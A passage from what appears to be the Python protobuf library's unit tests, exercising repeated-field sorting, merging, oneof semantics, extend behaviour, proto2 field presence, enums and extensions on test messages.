message.repeated_string.append('bb') message.repeated_string.append('c') message.repeated_string.sort(key=len) self.assertEqual(message.repeated_string[0], 'c') self.assertEqual(message.repeated_string[1], 'bb') self.assertEqual(message.repeated_string[2], 'aaa') def testSortingRepeatedCompositeFieldsCustomComparator(self, message_module): """Check passing a custom comparator to sort a repeated composite field.""" message = message_module.TestAllTypes() message.repeated_nested_message.add().bb = 1 message.repeated_nested_message.add().bb = 3 message.repeated_nested_message.add().bb = 2 message.repeated_nested_message.add().bb = 6 message.repeated_nested_message.add().bb = 5 message.repeated_nested_message.add().bb = 4 message.repeated_nested_message.sort(key=operator.attrgetter('bb')) self.assertEqual(message.repeated_nested_message[0].bb, 1) self.assertEqual(message.repeated_nested_message[1].bb, 2) self.assertEqual(message.repeated_nested_message[2].bb, 3) self.assertEqual(message.repeated_nested_message[3].bb, 4) self.assertEqual(message.repeated_nested_message[4].bb, 5) self.assertEqual(message.repeated_nested_message[5].bb, 6) self.assertEqual(str(message.repeated_nested_message), '[bb: 1\n, bb: 2\n, bb: 3\n, bb: 4\n, bb: 5\n, bb: 6\n]') def testSortingRepeatedCompositeFieldsStable(self, message_module): """Check passing a custom comparator to sort a repeated composite field.""" message = message_module.TestAllTypes() message.repeated_nested_message.add().bb = 21 message.repeated_nested_message.add().bb = 20 message.repeated_nested_message.add().bb = 13 message.repeated_nested_message.add().bb = 33 message.repeated_nested_message.add().bb = 11 message.repeated_nested_message.add().bb = 24 message.repeated_nested_message.add().bb = 10 message.repeated_nested_message.sort(key=lambda z: z.bb // 10) self.assertEqual( [13, 11, 10, 21, 20, 24, 33], [n.bb for n in message.repeated_nested_message]) # Make sure that for the C++ implementation, the underlying fields # are actually reordered. pb = message.SerializeToString() message.Clear() message.MergeFromString(pb) self.assertEqual( [13, 11, 10, 21, 20, 24, 33], [n.bb for n in message.repeated_nested_message]) def testRepeatedCompositeFieldSortArguments(self, message_module): """Check sorting a repeated composite field using list.sort() arguments.""" message = message_module.TestAllTypes() get_bb = operator.attrgetter('bb') cmp_bb = lambda a, b: cmp(a.bb, b.bb) message.repeated_nested_message.add().bb = 1 message.repeated_nested_message.add().bb = 3 message.repeated_nested_message.add().bb = 2 message.repeated_nested_message.add().bb = 6 message.repeated_nested_message.add().bb = 5 message.repeated_nested_message.add().bb = 4 message.repeated_nested_message.sort(key=get_bb) self.assertEqual([k.bb for k in message.repeated_nested_message], [1, 2, 3, 4, 5, 6]) message.repeated_nested_message.sort(key=get_bb, reverse=True) self.assertEqual([k.bb for k in message.repeated_nested_message], [6, 5, 4, 3, 2, 1]) if sys.version_info >= (3,): return # No cmp sorting in PY3. message.repeated_nested_message.sort(sort_function=cmp_bb) self.assertEqual([k.bb for k in message.repeated_nested_message], [1, 2, 3, 4, 5, 6]) message.repeated_nested_message.sort(cmp=cmp_bb, reverse=True) self.assertEqual([k.bb for k in message.repeated_nested_message], [6, 5, 4, 3, 2, 1]) def testRepeatedScalarFieldSortArguments(self, message_module): """Check sorting a scalar field using list.sort() arguments.""" message = message_module.TestAllTypes() message.repeated_int32.append(-3) message.repeated_int32.append(-2) message.repeated_int32.append(-1) message.repeated_int32.sort(key=abs) self.assertEqual(list(message.repeated_int32), [-1, -2, -3]) message.repeated_int32.sort(key=abs, reverse=True) self.assertEqual(list(message.repeated_int32), [-3, -2, -1]) if sys.version_info < (3,): # No cmp sorting in PY3. abs_cmp = lambda a, b: cmp(abs(a), abs(b)) message.repeated_int32.sort(sort_function=abs_cmp) self.assertEqual(list(message.repeated_int32), [-1, -2, -3]) message.repeated_int32.sort(cmp=abs_cmp, reverse=True) self.assertEqual(list(message.repeated_int32), [-3, -2, -1]) message.repeated_string.append('aaa') message.repeated_string.append('bb') message.repeated_string.append('c') message.repeated_string.sort(key=len) self.assertEqual(list(message.repeated_string), ['c', 'bb', 'aaa']) message.repeated_string.sort(key=len, reverse=True) self.assertEqual(list(message.repeated_string), ['aaa', 'bb', 'c']) if sys.version_info < (3,): # No cmp sorting in PY3. len_cmp = lambda a, b: cmp(len(a), len(b)) message.repeated_string.sort(sort_function=len_cmp) self.assertEqual(list(message.repeated_string), ['c', 'bb', 'aaa']) message.repeated_string.sort(cmp=len_cmp, reverse=True) self.assertEqual(list(message.repeated_string), ['aaa', 'bb', 'c']) def testRepeatedFieldsComparable(self, message_module): m1 = message_module.TestAllTypes() m2 = message_module.TestAllTypes() m1.repeated_int32.append(0) m1.repeated_int32.append(1) m1.repeated_int32.append(2) m2.repeated_int32.append(0) m2.repeated_int32.append(1) m2.repeated_int32.append(2) m1.repeated_nested_message.add().bb = 1 m1.repeated_nested_message.add().bb = 2 m1.repeated_nested_message.add().bb = 3 m2.repeated_nested_message.add().bb = 1 m2.repeated_nested_message.add().bb = 2 m2.repeated_nested_message.add().bb = 3 if sys.version_info >= (3,): return # No cmp() in PY3. # These comparisons should not raise errors. _ = m1 < m2 _ = m1.repeated_nested_message < m2.repeated_nested_message # Make sure cmp always works. If it wasn't defined, these would be # id() comparisons and would all fail. self.assertEqual(cmp(m1, m2), 0) self.assertEqual(cmp(m1.repeated_int32, m2.repeated_int32), 0) self.assertEqual(cmp(m1.repeated_int32, [0, 1, 2]), 0) self.assertEqual(cmp(m1.repeated_nested_message, m2.repeated_nested_message), 0) with self.assertRaises(TypeError): # Can't compare repeated composite containers to lists. cmp(m1.repeated_nested_message, m2.repeated_nested_message[:]) # TODO(anuraag): Implement extensiondict comparison in C++ and then add test def testRepeatedFieldsAreSequences(self, message_module): m = message_module.TestAllTypes() self.assertIsInstance(m.repeated_int32, collections_abc.MutableSequence) self.assertIsInstance(m.repeated_nested_message, collections_abc.MutableSequence) def testRepeatedFieldsNotHashable(self, message_module): m = message_module.TestAllTypes() with self.assertRaises(TypeError): hash(m.repeated_int32) with self.assertRaises(TypeError): hash(m.repeated_nested_message) def testRepeatedFieldInsideNestedMessage(self, message_module): m = message_module.NestedTestAllTypes() m.payload.repeated_int32.extend([]) self.assertTrue(m.HasField('payload')) def testMergeFrom(self, message_module): m1 = message_module.TestAllTypes() m2 = message_module.TestAllTypes() # Cpp extension will lazily create a sub message which is immutable. nested = m1.optional_nested_message self.assertEqual(0, nested.bb) m2.optional_nested_message.bb = 1 # Make sure cmessage pointing to a mutable message after merge instead of # the lazily created message. m1.MergeFrom(m2) self.assertEqual(1, nested.bb) # Test more nested sub message. msg1 = message_module.NestedTestAllTypes() msg2 = message_module.NestedTestAllTypes() nested = msg1.child.payload.optional_nested_message self.assertEqual(0, nested.bb) msg2.child.payload.optional_nested_message.bb = 1 msg1.MergeFrom(msg2) self.assertEqual(1, nested.bb) # Test repeated field. self.assertEqual(msg1.payload.repeated_nested_message, msg1.payload.repeated_nested_message) nested = msg2.payload.repeated_nested_message.add() nested.bb = 1 msg1.MergeFrom(msg2) self.assertEqual(1, len(msg1.payload.repeated_nested_message)) self.assertEqual(1, nested.bb) def testMergeFromString(self, message_module): m1 = message_module.TestAllTypes() m2 = message_module.TestAllTypes() # Cpp extension will lazily create a sub message which is immutable. self.assertEqual(0, m1.optional_nested_message.bb) m2.optional_nested_message.bb = 1 # Make sure cmessage pointing to a mutable message after merge instead of # the lazily created message. m1.MergeFromString(m2.SerializeToString()) self.assertEqual(1, m1.optional_nested_message.bb) @unittest.skipIf(six.PY2, 'memoryview objects are not supported on py2') def testMergeFromStringUsingMemoryViewWorksInPy3(self, message_module): m2 = message_module.TestAllTypes() m2.optional_string = 'scalar string' m2.repeated_string.append('repeated string') m2.optional_bytes = b'scalar bytes' m2.repeated_bytes.append(b'repeated bytes') serialized = m2.SerializeToString() memview = memoryview(serialized) m1 = message_module.TestAllTypes.FromString(memview) self.assertEqual(m1.optional_bytes, b'scalar bytes') self.assertEqual(m1.repeated_bytes, [b'repeated bytes']) self.assertEqual(m1.optional_string, 'scalar string') self.assertEqual(m1.repeated_string, ['repeated string']) # Make sure that the memoryview was correctly converted to bytes, and # that a sub-sliced memoryview is not being used. self.assertIsInstance(m1.optional_bytes, bytes) self.assertIsInstance(m1.repeated_bytes[0], bytes) self.assertIsInstance(m1.optional_string, six.text_type) self.assertIsInstance(m1.repeated_string[0], six.text_type) @unittest.skipIf(six.PY3, 'memoryview is supported by py3') def testMergeFromStringUsingMemoryViewIsPy2Error(self, message_module): memview = memoryview(b'') with self.assertRaises(TypeError): message_module.TestAllTypes.FromString(memview) def testMergeFromEmpty(self, message_module): m1 = message_module.TestAllTypes() # Cpp extension will lazily create a sub message which is immutable. self.assertEqual(0, m1.optional_nested_message.bb) self.assertFalse(m1.HasField('optional_nested_message')) # Make sure the sub message is still immutable after merge from empty. m1.MergeFromString(b'') # field state should not change self.assertFalse(m1.HasField('optional_nested_message')) def ensureNestedMessageExists(self, msg, attribute): """Make sure that a nested message object exists. As soon as a nested message attribute is accessed, it will be present in the _fields dict, without being marked as actually being set. """ getattr(msg, attribute) self.assertFalse(msg.HasField(attribute)) def testOneofGetCaseNonexistingField(self, message_module): m = message_module.TestAllTypes() self.assertRaises(ValueError, m.WhichOneof, 'no_such_oneof_field') self.assertRaises(Exception, m.WhichOneof, 0) def testOneofDefaultValues(self, message_module): m = message_module.TestAllTypes() self.assertIs(None, m.WhichOneof('oneof_field')) self.assertFalse(m.HasField('oneof_field')) self.assertFalse(m.HasField('oneof_uint32')) # Oneof is set even when setting it to a default value. m.oneof_uint32 = 0 self.assertEqual('oneof_uint32', m.WhichOneof('oneof_field')) self.assertTrue(m.HasField('oneof_field')) self.assertTrue(m.HasField('oneof_uint32')) self.assertFalse(m.HasField('oneof_string')) m.oneof_string = "" self.assertEqual('oneof_string', m.WhichOneof('oneof_field')) self.assertTrue(m.HasField('oneof_string')) self.assertFalse(m.HasField('oneof_uint32')) def testOneofSemantics(self, message_module): m = message_module.TestAllTypes() self.assertIs(None, m.WhichOneof('oneof_field')) m.oneof_uint32 = 11 self.assertEqual('oneof_uint32', m.WhichOneof('oneof_field')) self.assertTrue(m.HasField('oneof_uint32')) m.oneof_string = u'foo' self.assertEqual('oneof_string', m.WhichOneof('oneof_field')) self.assertFalse(m.HasField('oneof_uint32')) self.assertTrue(m.HasField('oneof_string')) # Read nested message accessor without accessing submessage. m.oneof_nested_message self.assertEqual('oneof_string', m.WhichOneof('oneof_field')) self.assertTrue(m.HasField('oneof_string')) self.assertFalse(m.HasField('oneof_nested_message')) # Read accessor of nested message without accessing submessage. m.oneof_nested_message.bb self.assertEqual('oneof_string', m.WhichOneof('oneof_field')) self.assertTrue(m.HasField('oneof_string')) self.assertFalse(m.HasField('oneof_nested_message')) m.oneof_nested_message.bb = 11 self.assertEqual('oneof_nested_message', m.WhichOneof('oneof_field')) self.assertFalse(m.HasField('oneof_string')) self.assertTrue(m.HasField('oneof_nested_message')) m.oneof_bytes = b'bb' self.assertEqual('oneof_bytes', m.WhichOneof('oneof_field')) self.assertFalse(m.HasField('oneof_nested_message')) self.assertTrue(m.HasField('oneof_bytes')) def testOneofCompositeFieldReadAccess(self, message_module): m = message_module.TestAllTypes() m.oneof_uint32 = 11 self.ensureNestedMessageExists(m, 'oneof_nested_message') self.assertEqual('oneof_uint32', m.WhichOneof('oneof_field')) self.assertEqual(11, m.oneof_uint32) def testOneofWhichOneof(self, message_module): m = message_module.TestAllTypes() self.assertIs(None, m.WhichOneof('oneof_field')) if message_module is unittest_pb2: self.assertFalse(m.HasField('oneof_field')) m.oneof_uint32 = 11 self.assertEqual('oneof_uint32', m.WhichOneof('oneof_field')) if message_module is unittest_pb2: self.assertTrue(m.HasField('oneof_field')) m.oneof_bytes = b'bb' self.assertEqual('oneof_bytes', m.WhichOneof('oneof_field')) m.ClearField('oneof_bytes') self.assertIs(None, m.WhichOneof('oneof_field')) if message_module is unittest_pb2: self.assertFalse(m.HasField('oneof_field')) def testOneofClearField(self, message_module): m = message_module.TestAllTypes() m.oneof_uint32 = 11 m.ClearField('oneof_field') if message_module is unittest_pb2: self.assertFalse(m.HasField('oneof_field')) self.assertFalse(m.HasField('oneof_uint32')) self.assertIs(None, m.WhichOneof('oneof_field')) def testOneofClearSetField(self, message_module): m = message_module.TestAllTypes() m.oneof_uint32 = 11 m.ClearField('oneof_uint32') if message_module is unittest_pb2: self.assertFalse(m.HasField('oneof_field')) self.assertFalse(m.HasField('oneof_uint32')) self.assertIs(None, m.WhichOneof('oneof_field')) def testOneofClearUnsetField(self, message_module): m = message_module.TestAllTypes() m.oneof_uint32 = 11 self.ensureNestedMessageExists(m, 'oneof_nested_message') m.ClearField('oneof_nested_message') self.assertEqual(11, m.oneof_uint32) if message_module is unittest_pb2: self.assertTrue(m.HasField('oneof_field')) self.assertTrue(m.HasField('oneof_uint32')) self.assertEqual('oneof_uint32', m.WhichOneof('oneof_field')) def testOneofDeserialize(self, message_module): m = message_module.TestAllTypes() m.oneof_uint32 = 11 m2 = message_module.TestAllTypes() m2.ParseFromString(m.SerializeToString()) self.assertEqual('oneof_uint32', m2.WhichOneof('oneof_field')) def testOneofCopyFrom(self, message_module): m = message_module.TestAllTypes() m.oneof_uint32 = 11 m2 = message_module.TestAllTypes() m2.CopyFrom(m) self.assertEqual('oneof_uint32', m2.WhichOneof('oneof_field')) def testOneofNestedMergeFrom(self, message_module): m = message_module.NestedTestAllTypes() m.payload.oneof_uint32 = 11 m2 = message_module.NestedTestAllTypes() m2.payload.oneof_bytes = b'bb' m2.child.payload.oneof_bytes = b'bb' m2.MergeFrom(m) self.assertEqual('oneof_uint32', m2.payload.WhichOneof('oneof_field')) self.assertEqual('oneof_bytes', m2.child.payload.WhichOneof('oneof_field')) def testOneofMessageMergeFrom(self, message_module): m = message_module.NestedTestAllTypes() m.payload.oneof_nested_message.bb = 11 m.child.payload.oneof_nested_message.bb = 12 m2 = message_module.NestedTestAllTypes() m2.payload.oneof_uint32 = 13 m2.MergeFrom(m) self.assertEqual('oneof_nested_message', m2.payload.WhichOneof('oneof_field')) self.assertEqual('oneof_nested_message', m2.child.payload.WhichOneof('oneof_field')) def testOneofNestedMessageInit(self, message_module): m = message_module.TestAllTypes( oneof_nested_message=message_module.TestAllTypes.NestedMessage()) self.assertEqual('oneof_nested_message', m.WhichOneof('oneof_field')) def testOneofClear(self, message_module): m = message_module.TestAllTypes() m.oneof_uint32 = 11 m.Clear() self.assertIsNone(m.WhichOneof('oneof_field')) m.oneof_bytes = b'bb' self.assertEqual('oneof_bytes', m.WhichOneof('oneof_field')) def testAssignByteStringToUnicodeField(self, message_module): """Assigning a byte string to a string field should result in the value being converted to a Unicode string.""" m = message_module.TestAllTypes() m.optional_string = str('') self.assertIsInstance(m.optional_string, six.text_type) def testLongValuedSlice(self, message_module): """It should be possible to use long-valued indicies in slices This didn't used to work in the v2 C++ implementation. """ m = message_module.TestAllTypes() # Repeated scalar m.repeated_int32.append(1) sl = m.repeated_int32[long(0):long(len(m.repeated_int32))] self.assertEqual(len(m.repeated_int32), len(sl)) # Repeated composite m.repeated_nested_message.add().bb = 3 sl = m.repeated_nested_message[long(0):long(len(m.repeated_nested_message))] self.assertEqual(len(m.repeated_nested_message), len(sl)) def testExtendShouldNotSwallowExceptions(self, message_module): """This didn't use to work in the v2 C++ implementation.""" m = message_module.TestAllTypes() with self.assertRaises(NameError) as _: m.repeated_int32.extend(a for i in range(10)) # pylint: disable=undefined-variable with self.assertRaises(NameError) as _: m.repeated_nested_enum.extend( a for i in range(10)) # pylint: disable=undefined-variable FALSY_VALUES = [None, False, 0, 0.0, b'', u'', bytearray(), [], {}, set()] def testExtendInt32WithNothing(self, message_module): """Test no-ops extending repeated int32 fields.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_int32) # TODO(ptucker): Deprecate this behavior. b/18413862 for falsy_value in MessageTest.FALSY_VALUES: m.repeated_int32.extend(falsy_value) self.assertSequenceEqual([], m.repeated_int32) m.repeated_int32.extend([]) self.assertSequenceEqual([], m.repeated_int32) def testExtendFloatWithNothing(self, message_module): """Test no-ops extending repeated float fields.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_float) # TODO(ptucker): Deprecate this behavior. b/18413862 for falsy_value in MessageTest.FALSY_VALUES: m.repeated_float.extend(falsy_value) self.assertSequenceEqual([], m.repeated_float) m.repeated_float.extend([]) self.assertSequenceEqual([], m.repeated_float) def testExtendStringWithNothing(self, message_module): """Test no-ops extending repeated string fields.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_string) # TODO(ptucker): Deprecate this behavior. b/18413862 for falsy_value in MessageTest.FALSY_VALUES: m.repeated_string.extend(falsy_value) self.assertSequenceEqual([], m.repeated_string) m.repeated_string.extend([]) self.assertSequenceEqual([], m.repeated_string) def testExtendInt32WithPythonList(self, message_module): """Test extending repeated int32 fields with python lists.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_int32) m.repeated_int32.extend([0]) self.assertSequenceEqual([0], m.repeated_int32) m.repeated_int32.extend([1, 2]) self.assertSequenceEqual([0, 1, 2], m.repeated_int32) m.repeated_int32.extend([3, 4]) self.assertSequenceEqual([0, 1, 2, 3, 4], m.repeated_int32) def testExtendFloatWithPythonList(self, message_module): """Test extending repeated float fields with python lists.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_float) m.repeated_float.extend([0.0]) self.assertSequenceEqual([0.0], m.repeated_float) m.repeated_float.extend([1.0, 2.0]) self.assertSequenceEqual([0.0, 1.0, 2.0], m.repeated_float) m.repeated_float.extend([3.0, 4.0]) self.assertSequenceEqual([0.0, 1.0, 2.0, 3.0, 4.0], m.repeated_float) def testExtendStringWithPythonList(self, message_module): """Test extending repeated string fields with python lists.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_string) m.repeated_string.extend(['']) self.assertSequenceEqual([''], m.repeated_string) m.repeated_string.extend(['11', '22']) self.assertSequenceEqual(['', '11', '22'], m.repeated_string) m.repeated_string.extend(['33', '44']) self.assertSequenceEqual(['', '11', '22', '33', '44'], m.repeated_string) def testExtendStringWithString(self, message_module): """Test extending repeated string fields with characters from a string.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_string) m.repeated_string.extend('abc') self.assertSequenceEqual(['a', 'b', 'c'], m.repeated_string) class TestIterable(object): """This iterable object mimics the behavior of numpy.array. __nonzero__ fails for length > 1, and returns bool(item[0]) for length == 1. """ def __init__(self, values=None): self._list = values or [] def __nonzero__(self): size = len(self._list) if size == 0: return False if size == 1: return bool(self._list[0]) raise ValueError('Truth value is ambiguous.') def __len__(self): return len(self._list) def __iter__(self): return self._list.__iter__() def testExtendInt32WithIterable(self, message_module): """Test extending repeated int32 fields with iterable.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_int32) m.repeated_int32.extend(MessageTest.TestIterable([])) self.assertSequenceEqual([], m.repeated_int32) m.repeated_int32.extend(MessageTest.TestIterable([0])) self.assertSequenceEqual([0], m.repeated_int32) m.repeated_int32.extend(MessageTest.TestIterable([1, 2])) self.assertSequenceEqual([0, 1, 2], m.repeated_int32) m.repeated_int32.extend(MessageTest.TestIterable([3, 4])) self.assertSequenceEqual([0, 1, 2, 3, 4], m.repeated_int32) def testExtendFloatWithIterable(self, message_module): """Test extending repeated float fields with iterable.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_float) m.repeated_float.extend(MessageTest.TestIterable([])) self.assertSequenceEqual([], m.repeated_float) m.repeated_float.extend(MessageTest.TestIterable([0.0])) self.assertSequenceEqual([0.0], m.repeated_float) m.repeated_float.extend(MessageTest.TestIterable([1.0, 2.0])) self.assertSequenceEqual([0.0, 1.0, 2.0], m.repeated_float) m.repeated_float.extend(MessageTest.TestIterable([3.0, 4.0])) self.assertSequenceEqual([0.0, 1.0, 2.0, 3.0, 4.0], m.repeated_float) def testExtendStringWithIterable(self, message_module): """Test extending repeated string fields with iterable.""" m = message_module.TestAllTypes() self.assertSequenceEqual([], m.repeated_string) m.repeated_string.extend(MessageTest.TestIterable([])) self.assertSequenceEqual([], m.repeated_string) m.repeated_string.extend(MessageTest.TestIterable([''])) self.assertSequenceEqual([''], m.repeated_string) m.repeated_string.extend(MessageTest.TestIterable(['1', '2'])) self.assertSequenceEqual(['', '1', '2'], m.repeated_string) m.repeated_string.extend(MessageTest.TestIterable(['3', '4'])) self.assertSequenceEqual(['', '1', '2', '3', '4'], m.repeated_string) def testPickleRepeatedScalarContainer(self, message_module): # TODO(tibell): The pure-Python implementation support pickling of # scalar containers in *some* cases. For now the cpp2 version # throws an exception to avoid a segfault. Investigate if we # want to support pickling of these fields. # # For more information see: https://b2.corp.google.com/u/0/issues/18677897 if (api_implementation.Type() != 'cpp' or api_implementation.Version() == 2): return m = message_module.TestAllTypes() with self.assertRaises(pickle.PickleError) as _: pickle.dumps(m.repeated_int32, pickle.HIGHEST_PROTOCOL) def testSortEmptyRepeatedCompositeContainer(self, message_module): """Exercise a scenario that has led to segfaults in the past. """ m = message_module.TestAllTypes() m.repeated_nested_message.sort() def testHasFieldOnRepeatedField(self, message_module): """Using HasField on a repeated field should raise an exception. """ m = message_module.TestAllTypes() with self.assertRaises(ValueError) as _: m.HasField('repeated_int32') def testRepeatedScalarFieldPop(self, message_module): m = message_module.TestAllTypes() with self.assertRaises(IndexError) as _: m.repeated_int32.pop() m.repeated_int32.extend(range(5)) self.assertEqual(4, m.repeated_int32.pop()) self.assertEqual(0, m.repeated_int32.pop(0)) self.assertEqual(2, m.repeated_int32.pop(1)) self.assertEqual([1, 3], m.repeated_int32) def testRepeatedCompositeFieldPop(self, message_module): m = message_module.TestAllTypes() with self.assertRaises(IndexError) as _: m.repeated_nested_message.pop() with self.assertRaises(TypeError) as _: m.repeated_nested_message.pop('0') for i in range(5): n = m.repeated_nested_message.add() n.bb = i self.assertEqual(4, m.repeated_nested_message.pop().bb) self.assertEqual(0, m.repeated_nested_message.pop(0).bb) self.assertEqual(2, m.repeated_nested_message.pop(1).bb) self.assertEqual([1, 3], [n.bb for n in m.repeated_nested_message]) def testRepeatedCompareWithSelf(self, message_module): m = message_module.TestAllTypes() for i in range(5): m.repeated_int32.insert(i, i) n = m.repeated_nested_message.add() n.bb = i self.assertSequenceEqual(m.repeated_int32, m.repeated_int32) self.assertEqual(m.repeated_nested_message, m.repeated_nested_message) def testReleasedNestedMessages(self, message_module): """A case that lead to a segfault when a message detached from its parent container has itself a child container. """ m = message_module.NestedTestAllTypes() m = m.repeated_child.add() m = m.child m = m.repeated_child.add() self.assertEqual(m.payload.optional_int32, 0) def testSetRepeatedComposite(self, message_module): m = message_module.TestAllTypes() with self.assertRaises(AttributeError): m.repeated_int32 = [] m.repeated_int32.append(1) with self.assertRaises(AttributeError): m.repeated_int32 = [] def testReturningType(self, message_module): m = message_module.TestAllTypes() self.assertEqual(float, type(m.optional_float)) self.assertEqual(float, type(m.optional_double)) self.assertEqual(bool, type(m.optional_bool)) m.optional_float = 1 m.optional_double = 1 m.optional_bool = 1 m.repeated_float.append(1) m.repeated_double.append(1) m.repeated_bool.append(1) m.ParseFromString(m.SerializeToString()) self.assertEqual(float, type(m.optional_float)) self.assertEqual(float, type(m.optional_double)) self.assertEqual('1.0', str(m.optional_double)) self.assertEqual(bool, type(m.optional_bool)) self.assertEqual(float, type(m.repeated_float[0])) self.assertEqual(float, type(m.repeated_double[0])) self.assertEqual(bool, type(m.repeated_bool[0])) self.assertEqual(True, m.repeated_bool[0]) # Class to test proto2-only features (required, extensions, etc.) @testing_refleaks.TestCase class Proto2Test(unittest.TestCase): def testFieldPresence(self): message = unittest_pb2.TestAllTypes() self.assertFalse(message.HasField("optional_int32")) self.assertFalse(message.HasField("optional_bool")) self.assertFalse(message.HasField("optional_nested_message")) with self.assertRaises(ValueError): message.HasField("field_doesnt_exist") with self.assertRaises(ValueError): message.HasField("repeated_int32") with self.assertRaises(ValueError): message.HasField("repeated_nested_message") self.assertEqual(0, message.optional_int32) self.assertEqual(False, message.optional_bool) self.assertEqual(0, message.optional_nested_message.bb) # Fields are set even when setting the values to default values. message.optional_int32 = 0 message.optional_bool = False message.optional_nested_message.bb = 0 self.assertTrue(message.HasField("optional_int32")) self.assertTrue(message.HasField("optional_bool")) self.assertTrue(message.HasField("optional_nested_message")) # Set the fields to non-default values. message.optional_int32 = 5 message.optional_bool = True message.optional_nested_message.bb = 15 self.assertTrue(message.HasField(u"optional_int32")) self.assertTrue(message.HasField("optional_bool")) self.assertTrue(message.HasField("optional_nested_message")) # Clearing the fields unsets them and resets their value to default. message.ClearField("optional_int32") message.ClearField(u"optional_bool") message.ClearField("optional_nested_message") self.assertFalse(message.HasField("optional_int32")) self.assertFalse(message.HasField("optional_bool")) self.assertFalse(message.HasField("optional_nested_message")) self.assertEqual(0, message.optional_int32) self.assertEqual(False, message.optional_bool) self.assertEqual(0, message.optional_nested_message.bb) def testAssignInvalidEnum(self): """Assigning an invalid enum number is not allowed in proto2.""" m = unittest_pb2.TestAllTypes() # Proto2 can not assign unknown enum. with self.assertRaises(ValueError) as _: m.optional_nested_enum = 1234567 self.assertRaises(ValueError, m.repeated_nested_enum.append, 1234567) # Assignment is a different code path than append for the C++ impl. m.repeated_nested_enum.append(2) m.repeated_nested_enum[0] = 2 with self.assertRaises(ValueError): m.repeated_nested_enum[0] = 123456 # Unknown enum value can be parsed but is ignored. m2 = unittest_proto3_arena_pb2.TestAllTypes() m2.optional_nested_enum = 1234567 m2.repeated_nested_enum.append(7654321) serialized = m2.SerializeToString() m3 = unittest_pb2.TestAllTypes() m3.ParseFromString(serialized) self.assertFalse(m3.HasField('optional_nested_enum')) # 1 is the default value for optional_nested_enum. self.assertEqual(1, m3.optional_nested_enum) self.assertEqual(0, len(m3.repeated_nested_enum)) m2.Clear() m2.ParseFromString(m3.SerializeToString()) self.assertEqual(1234567, m2.optional_nested_enum) self.assertEqual(7654321, m2.repeated_nested_enum[0]) def testUnknownEnumMap(self): m = map_proto2_unittest_pb2.TestEnumMap() m.known_map_field[123] = 0 with self.assertRaises(ValueError): m.unknown_map_field[1] = 123 def testExtensionsErrors(self): msg = unittest_pb2.TestAllTypes() self.assertRaises(AttributeError, getattr, msg, 'Extensions') def testMergeFromExtensions(self): msg1 = more_extensions_pb2.TopLevelMessage() msg2 = more_extensions_pb2.TopLevelMessage() # Cpp extension will lazily create a sub message which is immutable. self.assertEqual(0, msg1.submessage.Extensions[ more_extensions_pb2.optional_int_extension]) self.assertFalse(msg1.HasField('submessage')) msg2.submessage.Extensions[ more_extensions_pb2.optional_int_extension] = 123 # Make sure cmessage and extensions pointing to a mutable message # after merge instead of the lazily created message. msg1.MergeFrom(msg2) self.assertEqual(123, msg1.submessage.Extensions[ more_extensions_pb2.optional_int_extension]) def testGoldenExtensions(self): golden_data = test_util.GoldenFileData('golden_message') golden_message = unittest_pb2.TestAllExtensions() golden_message.ParseFromString(golden_data) all_set = unittest_pb2.TestAllExtensions() test_util.SetAllExtensions(all_set) self.assertEqual(all_set, golden_message) self.assertEqual(golden_data, golden_message.SerializeToString()) golden_copy = copy.deepcopy(golden_message) self.assertEqual(golden_data, golden_copy.SerializeToString()) def testGoldenPackedExtensions(self): golden_data = test_util.GoldenFileData('golden_packed_fields_message') golden_message = unittest_pb2.TestPackedExtensions() golden_message.ParseFromString(golden_data) all_set = unittest_pb2.TestPackedExtensions() test_util.SetAllPackedExtensions(all_set) self.assertEqual(all_set, golden_message) self.assertEqual(golden_data, all_set.SerializeToString()) golden_copy = copy.deepcopy(golden_message) self.assertEqual(golden_data, golden_copy.SerializeToString()) def testPickleIncompleteProto(self): golden_message = unittest_pb2.TestRequired(a=1) pickled_message = pickle.dumps(golden_message) unpickled_message = pickle.loads(pickled_message) self.assertEqual(unpickled_message, golden_message) self.assertEqual(unpickled_message.a, 1) # This is still an incomplete proto - so serializing should fail self.assertRaises(message.EncodeError, unpickled_message.SerializeToString) # TODO(haberman): this isn't really a proto2-specific test except that this # message has a required field in it. Should probably be factored out so # that we can test the other parts with proto3. def testParsingMerge(self): """Check the merge behavior when a required or optional field appears multiple times in the input.""" messages = [ unittest_pb2.TestAllTypes(), unittest_pb2.TestAllTypes(), unittest_pb2.TestAllTypes() ] messages[0].optional_int32 = 1 messages[1].optional_int64 = 2 messages[2].optional_int32 = 3 messages[2].optional_string = 'hello' merged_message = unittest_pb2.TestAllTypes() merged_message.optional_int32 = 3 merged_message.optional_int64 = 2 merged_message.optional_string = 'hello' generator = unittest_pb2.TestParsingMerge.RepeatedFieldsGenerator() generator.field1.extend(messages) generator.field2.extend(messages) generator.field3.extend(messages) generator.ext1.extend(messages) generator.ext2.extend(messages) generator.group1.add().field1.MergeFrom(messages[0]) generator.group1.add().field1.MergeFrom(messages[1]) generator.group1.add().field1.MergeFrom(messages[2]) generator.group2.add().field1.MergeFrom(messages[0]) generator.group2.add().field1.MergeFrom(messages[1]) generator.group2.add().field1.MergeFrom(messages[2]) data = generator.SerializeToString() parsing_merge = unittest_pb2.TestParsingMerge() parsing_merge.ParseFromString(data) # Required and optional fields should be merged. self.assertEqual(parsing_merge.required_all_types, merged_message) self.assertEqual(parsing_merge.optional_all_types, merged_message) self.assertEqual(parsing_merge.optionalgroup.optional_group_all_types, merged_message) self.assertEqual(parsing_merge.Extensions[ unittest_pb2.TestParsingMerge.optional_ext], merged_message) # Repeated fields should not be merged. self.assertEqual(len(parsing_merge.repeated_all_types), 3) self.assertEqual(len(parsing_merge.repeatedgroup), 3) self.assertEqual(len(parsing_merge.Extensions[ unittest_pb2.TestParsingMerge.repeated_ext]), 3) def testPythonicInit(self): message = unittest_pb2.TestAllTypes( optional_int32=100, optional_fixed32=200, optional_float=300.5, optional_bytes=b'x', optionalgroup={'a': 400}, optional_nested_message={'bb': 500}, optional_foreign_message={}, optional_nested_enum='BAZ', repeatedgroup=[{'a': 600}, {'a': 700}], 